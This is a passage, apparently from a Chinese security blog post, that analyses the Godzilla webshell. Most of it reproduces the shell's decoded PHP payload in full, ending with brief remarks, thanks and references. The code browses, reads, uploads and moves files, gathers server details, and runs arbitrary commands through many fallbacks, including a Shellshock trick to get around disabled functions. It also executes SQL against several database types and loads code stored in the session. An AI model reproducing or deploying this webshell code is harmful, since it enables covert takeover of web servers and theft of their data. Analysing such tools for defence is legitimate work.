        return "url or saveFile is null";
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['REMOTE_ADDR'] = @$_SERVER['REMOTE_ADDR'];
    $data['REMOTE_PORT'] = @$_SERVER['REMOTE_PORT'];
    $data['HTTP_X_FORWARDED_FOR'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $data['HTTP_CLIENT_IP'] = @$_SERVER['HTTP_CLIENT_IP'];
    $data['SERVER_ADDR'] = @$_SERVER['SERVER_ADDR'];
    $data['SERVER_NAME'] = @$_SERVER['SERVER_NAME'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['disable_functions'] = @ini_get('disable_functions');
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['Open_basedir'] = @ini_get('open_basedir');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $tmpDir=sys_get_temp_dir();
    $separator=substr($tmpDir,strlen($tmpDir)-1,1);
    if ($separator!='\\'&&$separator!='/'){
        $tmpDir=$tmpDir.'/';
    }
    $data['systempdir'] = $tmpDir;
    $data['include_path'] = @ini_get('include_path');
    $data['DOCUMENT_ROOT'] = $_SERVER['DOCUMENT_ROOT'];
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['PHP_INT_SIZE'] = PHP_INT_SIZE;
    $data['ProcessArch'] = PHP_INT_SIZE==8?"x64":"x86";
    $data['PHP_OS'] = PHP_OS;
    $data['canCallGzipDecode'] = canCallGzipDecode();
    $data['canCallGzipEncode'] = canCallGzipEncode();
    $data['session_name'] = @ini_get("session.name");
    $data['session_save_path'] = @ini_get("session.save_path");
    $data['session_save_handler'] = @ini_get("session.save_handler");
    $data['session_serialize_handler'] = @ini_get("session.serialize_handler");
    $data['user_ini_filename'] = @ini_get("user_ini.filename");
    $data['memory_limit'] = @ini_get('memory_limit');
    $data['upload_max_filesize'] = @ini_get('upload_max_filesize');
    $data['post_max_size'] = @ini_get('post_max_size');
    $data['max_execution_time'] = @ini_get('max_execution_time');
    $data['max_input_time'] = @ini_get('max_input_time');
    $data['default_socket_timeout'] = @ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    if (strlen(trim($data['CurrentDir']))==0){
        $data['CurrentDir'] = str_replace('\\', '/', @dirname(__FILE__));
    }
    $SCRIPT_FILENAME=@dirname(__FILE__);
    $data['FileRoot'] = '';
    if (substr($SCRIPT_FILENAME, 0, 1) != '/') {
        $drivers=array('C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
        foreach ($drivers as $L){
            if (@is_dir("{$L}:/")){
                $data['FileRoot'] .= "{$L}:/;";}
        }
        if (empty($data['FileRoot'])){
            $data['FileRoot']=substr($SCRIPT_FILENAME,0,3);
        }
    }else{
        $data['FileRoot'] .= "/";
    }
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (function_existsEx("is_readable")){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        @chmod($fileName,0777);
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}

function function_existsEx($functionName){
    $d=explode(",",@ini_get("disable_functions"));
    if(empty($d)){
        $d=array();
    }else{
        $d=array_map('trim',array_map('strtolower',$d));
    }
    return(function_exists($functionName)&&is_callable($functionName)&&!in_array($functionName,$d));
}

function execCommand(){
    @ob_start();
    $cmdLine=get("cmdLine");
    if(substr(__FILE__,0,1)=="/"){
        @putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    }else{
        @putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    $result="";
    if (!function_existsEx("runshellshock")){
        function runshellshock($d, $c) {
            if (substr($d, 0, 1) == "/" && function_existsEx('putenv') && (function_existsEx('error_log') || function_existsEx('mail'))) {
                if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                    $tmp = tempnam(sys_get_temp_dir(), 'as');
                    putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                    if (function_existsEx('error_log')) {
                        error_log("a", 1);
                    } else {
                        mail("a@127.0.0.1", "", "", "-bv");
                    }
                } else {
                    return False;
                }
                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    return $output;
                }
            }
            return False;
        };
    }

    if(function_existsEx('system')){
        @system($cmdLine,$ret);
    }elseif(function_existsEx('passthru')){
        $result=@passthru($cmdLine,$ret);
    }elseif(function_existsEx('shell_exec')){
        $result=@shell_exec($cmdLine);
    }elseif(function_existsEx('exec')){
        @exec($cmdLine,$o,$ret);
        $result=join("\n",$o);
    }elseif(function_existsEx('popen')){
        $fp=@popen($cmdLine,'r');
        while(!@feof($fp)){
            $result.=@fgets($fp,1024*1024);
        }
        @pclose($fp);
    }elseif(function_existsEx('proc_open')){
        $p = @proc_open($cmdLine, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
        while(!@feof($io[1])){
            $result.=@fgets($io[1],1024*1024);
        }
        while(!@feof($io[2])){
            $result.=@fgets($io[2],1024*1024);
        }
        @fclose($io[1]);
        @fclose($io[2]);
        @proc_close($p);
    }elseif(substr(__FILE__,0,1)!="/" && @class_exists("COM")){
        $w=new COM('WScript.shell');
        $e=$w->exec($cmdLine);
        $so=$e->StdOut();
        $result.=$so->ReadAll();
        $se=$e->StdErr();
        $result.=$se->ReadAll();
    }elseif (function_existsEx("pcntl_fork")&&function_existsEx("pcntl_exec")){
        $cmd="/bin/bash";
        if (!file_exists($cmd)){
            $cmd="/bin/sh";
        }
        $commandFile=sys_get_temp_dir()."/".time().".log";
        $resultFile=sys_get_temp_dir()."/".(time()+1).".log";
        @file_put_contents($commandFile,$cmdLine);
        switch (pcntl_fork()) {
            case 0:
                $args = array("-c", "$cmdLine > $resultFile");
                pcntl_exec($cmd, $args);
                // the child will only reach this point on exec failure,
                // because execution shifts to the pcntl_exec()ed command
                exit(0);
            default:
                break;
        }
        if (!file_exists($resultFile)){
            sleep(2);
        }
        $result=file_get_contents($resultFile);
        @unlink($commandFile);
        @unlink($resultFile);

    }elseif(($result=runshellshock(__FILE__, $cmdLine)!==false)) {

    }else{
        return "none of proc_open/passthru/shell_exec/exec/exec/popen/COM/runshellshock/pcntl_exec is available";
    }
    $result .= @ob_get_contents();
    @ob_end_clean();

    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    $charset=get("dbCharset");
    $currentDb=get("currentDb");
    function  mysqli_exec($host,$port,$username,$password,$execType,$currentDb,$sql,$charset){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }
        if (!empty($charset)){
            $conn->set_charset($charset);
        }
        if (!empty($currentDb)){
            $conn->select_db($currentDb);
        }
        $result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        if ($execType=="update"){
            return "Query OK, ".$conn->affected_rows." rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function mysql_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset) {
        $con = @mysql_connect($host.":".$port, $username, $password);
        if (!$con) {
            return mysql_error();
        } else {
            if (!empty($charset)){
                mysql_set_charset($charset,$con);
            }
            if (!empty($currentDb)){
                if (function_existsEx("mysql_selectdb")){
                    mysql_selectdb($currentDb,$con);
                }elseif (function_existsEx("mysql_select_db")){
                    mysql_select_db($currentDb,$con);
                }
            }
            $result = @mysql_query($sql);
            if (!$result) {
                return mysql_error();
            }
            if ($execType == "update") {
                return "Query OK, ".mysql_affected_rows($con)." rows affected";
            } else {
                $data = "ok\n";
                for ($i = 0; $i < mysql_num_fields($result); $i++) {
                    $data.= base64_encode(mysql_field_name($result, $i))."\t";
                }
                $data.= "\n";
                $rowNum = mysql_num_rows($result);
                if ($rowNum > 0) {
                    while ($row = mysql_fetch_row($result)) {
                        foreach($row as $value) {
                            $data.= base64_encode($value)."\t";
                        }
                        $data.= "\n";
                    }
                }
            }
            @mysql_close($con);
            return $data;
        }
    }
    function mysqliEx_exec($host, $port, $username, $password, $execType, $currentDb,$sql,$charset){
        $port == "" ? $port = "3306" : $port;
        $T=@mysqli_connect($host,$username,$password,"",$port);
        if (!empty($charset)){
            @mysqli_set_charset($charset);
        }
        if (!empty($currentDb)){
            @mysqli_select_db($T,$currentDb);
        }
        $q=@mysqli_query($T,$sql);
        if(is_bool($q)){
            return mysqli_error($T);
        }else{
            if (mysqli_num_fields($q)>0){
                $i=0;
                $data = "ok\n";
                while($col=@mysqli_fetch_field($q)){
                    $data.=base64_encode($col->name)."\t";
                    $i++;
                }
                $data.="\n";
                while($rs=@mysqli_fetch_row($q)){
                    for($c=0;$c<$i;$c++){
                        $data.=base64_encode(trim($rs[$c]))."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }else{
                return "Query OK, ".@mysqli_affected_rows($T)." rows affected";
            }
        }
    }
    function pg_execEx($host, $port, $username, $password, $execType,$currentDb, $sql,$charset){
        $port == "" ? $port = "5432" : $port;
        $arr=array(
            'host'=>$host,
            'port'=>$port,
            'user'=>$username,
            'password'=>$password
        );
        if (!empty($currentDb)){
            $arr["dbname"]=$currentDb;
        }
        $cs='';
        foreach($arr as $k=>$v) {
            if(empty($v)){
                continue;
            }
            $cs .= "$k=$v ";
        }
        $T=@pg_connect($cs);
        if(!$T){
            return @pg_last_error();
        }else{
            if (!empty($charset)){
                @pg_set_client_encoding($T,$charset);
            }
            $q=@pg_query($T, $sql);
            if(!$q){
                return @pg_last_error();
            }else{
                $n=@pg_num_fields($q);
                if($n===NULL){
                    return @pg_last_error();
                }elseif($n===0){
                    return "Query OK, ".@pg_affected_rows($q)." rows affected";
                }else{
                    $data = "ok\n";
                    for($i=0;$i<$n;$i++){
                        $data.=base64_encode(@pg_field_name($q,$i))."\t";
                    }
                    $data.= "\n";
                    while($row=@pg_fetch_row($q)){
                        for($i=0;$i<$n;$i++){
                            $data.=base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t";
                        }
                        $data.= "\n";
                    }
                    return $data;
                }
            }
        }
    }
    function sqlsrv_exec($host, $port, $username, $password, $execType, $currentDb,$sql){

        $dbConfig=array("UID"=> $username,"PWD"=>$password);
        if (!empty($currentDb)){
            $dbConfig["Database"]=$currentDb;
        }

        $T=@sqlsrv_connect($host,$dbConfig);
        $q=@sqlsrv_query($T,$sql,null);
        if($q!==false){
            $i=0;
            $fm=@sqlsrv_field_metadata($q);
            if(empty($fm)){
                $ar=@sqlsrv_rows_affected($q);
                return "Query OK, ".$ar." rows affected";
            }else{
                $data = "ok\n";

                foreach($fm as $rs){
                    $data.=base64_encode($rs['Name'])."\t";
                    $i++;
                }
                $data.= "\n";
                while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
                    for($c=0;$c<$i;$c++){
                        $data.=base64_encode(trim($rs[$c]))."\t";
                    }
                    $data.= "\n";
                }
                return $data;
            }
        }else{
            $err="";
            if(($e = sqlsrv_errors()) != null){
                foreach($e as $v){
                    $err.=($e['message'])."\n";
                }
            }
            return $err;
        }
    }
    function mssql_exec($host, $port, $username, $password, $execType,$currentDb, $sql){
        $T=@mssql_connect($host,$username,$password);
        if (!empty($currentDb)){
            @mssql_select_db($currentDb);
        }
        $q=@mssql_query($sql,$T);
        if(is_bool($q)){
            return "Query OK, ".@mssql_rows_affected($T)." rows affected";
        }else{
            $data = "ok\n";
            $i=0;
            while($rs=@mssql_fetch_field($q)){
                $data.=base64_encode($rs->name)."\t";
                $i++;
            }
            $data.="\n";
            while($rs=@mssql_fetch_row($q)){
                for($c=0;$c<$i;$c++){
                    $data.=base64_encode(trim($rs[$c]))."\t";
                }
                $data.="\n";
            }
            @mssql_free_result($q);
            @mssql_close($T);
            return $data;
        }
    }
    function oci_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
        $chs = $charset ? $charset : "utf8";
        $mod = 0;
        $H = @oci_connect($username, $password, $host, $chs, $mod);
        if (!$H) {
            $errObj=@oci_error();
            return $errObj["message"];
        } else {
            $q = @oci_parse($H, $sql);
            if (@oci_execute($q)) {
                $n = oci_num_fields($q);
                if ($n == 0) {
                    return "Query OK, ".@oci_num_rows($q)." rows affected";
                } else {
                    $data = "ok\n";
                    for ($i = 1; $i <= $n; $i++) {
                        $data.= base64_encode(oci_field_name($q, $i))."\t";
                    }
                    $data.= "\n";
                    while ($row = @oci_fetch_array($q, OCI_ASSOC + OCI_RETURN_NULLS)) {
                        foreach($row as $item) {
                            $data.= base64_encode($item !== null ? base64_encode($item) : ""). "\t";
                        }
                        $data.= "\n";
                    }
                    return $data;
                }
            } else {
                $e = @oci_error($q);
                if ($e) {
                    return "ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}";
                } else {
                    return "false";
                }
            }
        }
    }
    function ora_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
        $H = @ora_plogon("{$username}@{$host}", "{$password}");
        if (!$H) {
            return "Login Failed!";
        } else {
            $T = @ora_open($H);
            @ora_commitoff($H);
            $q = @ora_parse($T, "{$sql}");
            $R = ora_exec($T);
            if ($R) {
                $n = ora_numcols($T);
                $data="ok\n";
                for ($i = 0; $i < $n; $i++) {
                    $data.=base64_encode(Ora_ColumnName($T, $i))."\t";
                }
                $data.="\n";
                while (ora_fetch($T)) {
                    for ($i = 0; $i < $n; $i++) {
                        $data.=base64_encode(trim(ora_getcolumn($T, $i)))."\t";
                    }
                    $data.="\n";
                }
                return $data;
            } else {
                return "false";
            }
        }
    }
    function sqlite_exec($host, $port, $username, $password, $execType, $currentDb, $sql, $charset) {
        $dbh=new SQLite3($host);
        if(!$dbh){
            return "ERROR://CONNECT ERROR".SQLite3::lastErrorMsg();
        }else{
            $stmt=$dbh->prepare($sql);
            if(!$stmt){
                return "ERROR://".$dbh->lastErrorMsg();
            } else {
                $result=$stmt->execute();
                if(!$result){
                    return $dbh->lastErrorMsg();
                }else{
                    $bool=True;
                    $data="ok\n";
                    while($res=$result->fetchArray(SQLITE3_ASSOC)){
                        if($bool){
                            foreach($res as $key=>$value){
                                $data.=base64_encode($key)."\t";
                            }
                            $bool=False;
                            $data.="\n";
                        }
                        foreach($res as $key=>$value){
                            $data.=base64_encode($value!==NULL?$value:"NULL")."\t";
                        }
                        $data.="\n";
                    }
                    if($bool){
                        if(!$result->numColumns()){
                            return "Query OK, ".$dbh->changes()." rows affected";
                        }else{
                            return "ERROR://Table is empty.";
                        }
                    }else{
                        return $data;
                    }
                }
            }
            $dbh->close();
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$currentDb,$sql){
        $conn=null;
        if ($databaseType==="oracle"){
            $databaseType="orcl";
        }
        if (strpos($host,"=")!==false){
            $conn = new PDO($host, $username, $password);
        }else if (!empty($currentDb)){
            $conn = new PDO("{$databaseType}:host=$host;port={$port};dbname={$currentDb}", $username, $password);
        }else{
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);
        }
        $conn->setAttribute(3, 0);
        if ($execType=="update"){
            $affectRows=$conn->exec($sql);
            if ($affectRows!==false){
                return "Query OK, ".$conn->exec($sql)." rows affected";
            }else{
                return "Err->\n".implode(',',$conn->errorInfo());
            }
        }else{
            $data="ok\n";
            $stm=$conn->prepare($sql);
            if ($stm->execute()){
                $row=$stm->fetch(2);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(2)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }else{
                return "Err->\n".implode(',',$stm->errorInfo());
            }
        }
    }
    if ($dbType=="mysql"&&(class_exists("mysqli")||function_existsEx("mysql_connect")||function_existsEx("mysqli_connect"))){
        if (class_exists("mysqli")){
            return mysqli_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }elseif (function_existsEx("mysql_connect")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }else if (function_existsEx("mysqli_connect")){
            return mysqliEx_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }
    }elseif ($dbType=="postgresql"&&function_existsEx("pg_connect")){
        if (function_existsEx("pg_connect")){
            return pg_execEx($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }
    }elseif ($dbType=="sqlserver"&&(function_existsEx("sqlsrv_connect")||function_existsEx("mssql_connect"))){
        if (function_existsEx("sqlsrv_connect")){
            return sqlsrv_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
        }elseif (function_existsEx("mssql_connect")){
            return mssql_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
        }
    }elseif ($dbType=="oracle"&&(function_existsEx("oci_connect")||function_existsEx("ora_plogon"))){
        if (function_existsEx("oci_connect")){
            return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }else if (function_existsEx("ora_plogon")){
            return oci_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
        }
    }elseif ($dbType=="sqlite"&&class_exists("SQLite3")){
        return sqlite_exec($dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql,$charset);
    }

    if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$currentDb,$execSql);
    }else{
        return "no extension";
    }

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function getAllParameters(){
    global $parameters;
    return $parameters;
}
function includeCode(){
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SES=&getSession();
    $_SES[$codeName]=$classCode;
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
function convertFilePermissions($fileAttr){
    $mod=0;
    if (strpos($fileAttr,'R')!==false){
        $mod=$mod+0444;
    }
    if (strpos($fileAttr,'W')!==false){
        $mod=$mod+0222;
    }
    if (strpos($fileAttr,'X')!==false){
        $mod=$mod+0111;
    }
    return $mod;
}
function g_close(){
    @session_start();
    $_SES=&getSession();
    $_SES=null;
    if (@session_destroy()){
        return "ok";
    }else{
        return "fail!";
    }
}

function bigFileDownload(){
    $mode=get("mode");
    $fileName=get("fileName");
    $readByteNum=get("readByteNum");
    $position=get("position");
    if ($mode=="fileSize"){
        return @filesize($fileName)."";
    }elseif ($mode=="read"){
        if (function_existsEx("fopen")&&function_existsEx("fread")&&function_existsEx("fseek")){
            $handle=fopen($fileName,"rb");
            if ($handle!==false){
                @fseek($handle,$position);
                $data=fread($handle,$readByteNum);
                @fclose($handle);
                if ($data!==false){
                    return $data;
                }else{
                    return "cannot read file";
                }
            }else{
                return "cannot open file";
            }
        }else if (function_existsEx("file_get_contents")){
            return file_get_contents($fileName,false,null,$position,$readByteNum);
        }else{
            return "no function";
        }

    }else{
        return "no mode";
    }
}

function bigFileUpload(){
    $fileName=get("fileName");
    $fileContents=get("fileContents");
    $position=get("position");
    if(function_existsEx("fopen")&&function_existsEx("fwrite")&&function_existsEx("fseek")){
        $handle=fopen($fileName,"ab");
        if ($handle!==false){
            fseek($handle,$position);
            $len=fwrite($handle,$fileContents);
            @fclose($handle);
            if ($len!==false){
                return "ok";
            }else{
                return "cannot write file";
            }
        }else{
            return "cannot open file";
        }
    }else if (function_existsEx("file_put_contents")){
        if (file_put_contents($fileName,$fileContents,FILE_APPEND)!==false){
            return "ok";
        }else{
            return "writer fail";
        }
    }else{
        return "no function";
    }
}
function canCallGzipEncode(){
    if (function_existsEx("gzencode")){
        return "1";
    }else{
        return "0";
    }
}
function canCallGzipDecode(){
    if (function_existsEx("gzdecode")){
        return "1";
    }else{
        return "0";
    }
}
function bytesToInteger($bytes, $position) {
    $val = 0;
    $val = $bytes[$position + 3] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 2] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position + 1] & 0xff;
    $val <<= 8;
    $val |= $bytes[$position] & 0xff;
    return $val;
}
function isGzipStream($bin){
    if (strlen($bin)>=2){
        $bin=substr($bin,0,2);
        $strInfo = @unpack("C2chars", $bin);
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
        switch ($typeCode) {
            case 31139:
                return true;
            default:
                return false;
        }
    }else{
        return false;
    }
}
function getBytes($string) {
    $bytes = array();
    for($i = 0; $i < strlen($string); $i++){
        array_push($bytes,ord($string[$i]));
    }
    return $bytes;
}


经过base64解码还原了函数代码

shell也能连接成功

0x04致谢

感谢北辰师傅分享Godzilla

0x05参考

https://github.com/BeichenDream/Godzilla

https://mp.weixin.qq.com/s?__biz=MzkxNTUwNjgxOQ==&mid=2247484153&idx=1&sn=67d8b3932714ff0a0ee5745f7049a661&chksm=c15f5115f628d80369c24c4208f063940fc928692900969e0f01e7b27697ad63488ae966561f&mpshare=1&scene=23&srcid=0529h0BavlUZCV81gDL23jnx&sharer_shareinfo=54f4777bb39af67b527359592960f8db&sharer_shareinfo_first=54f4777bb39af67b527359592960f8db#rd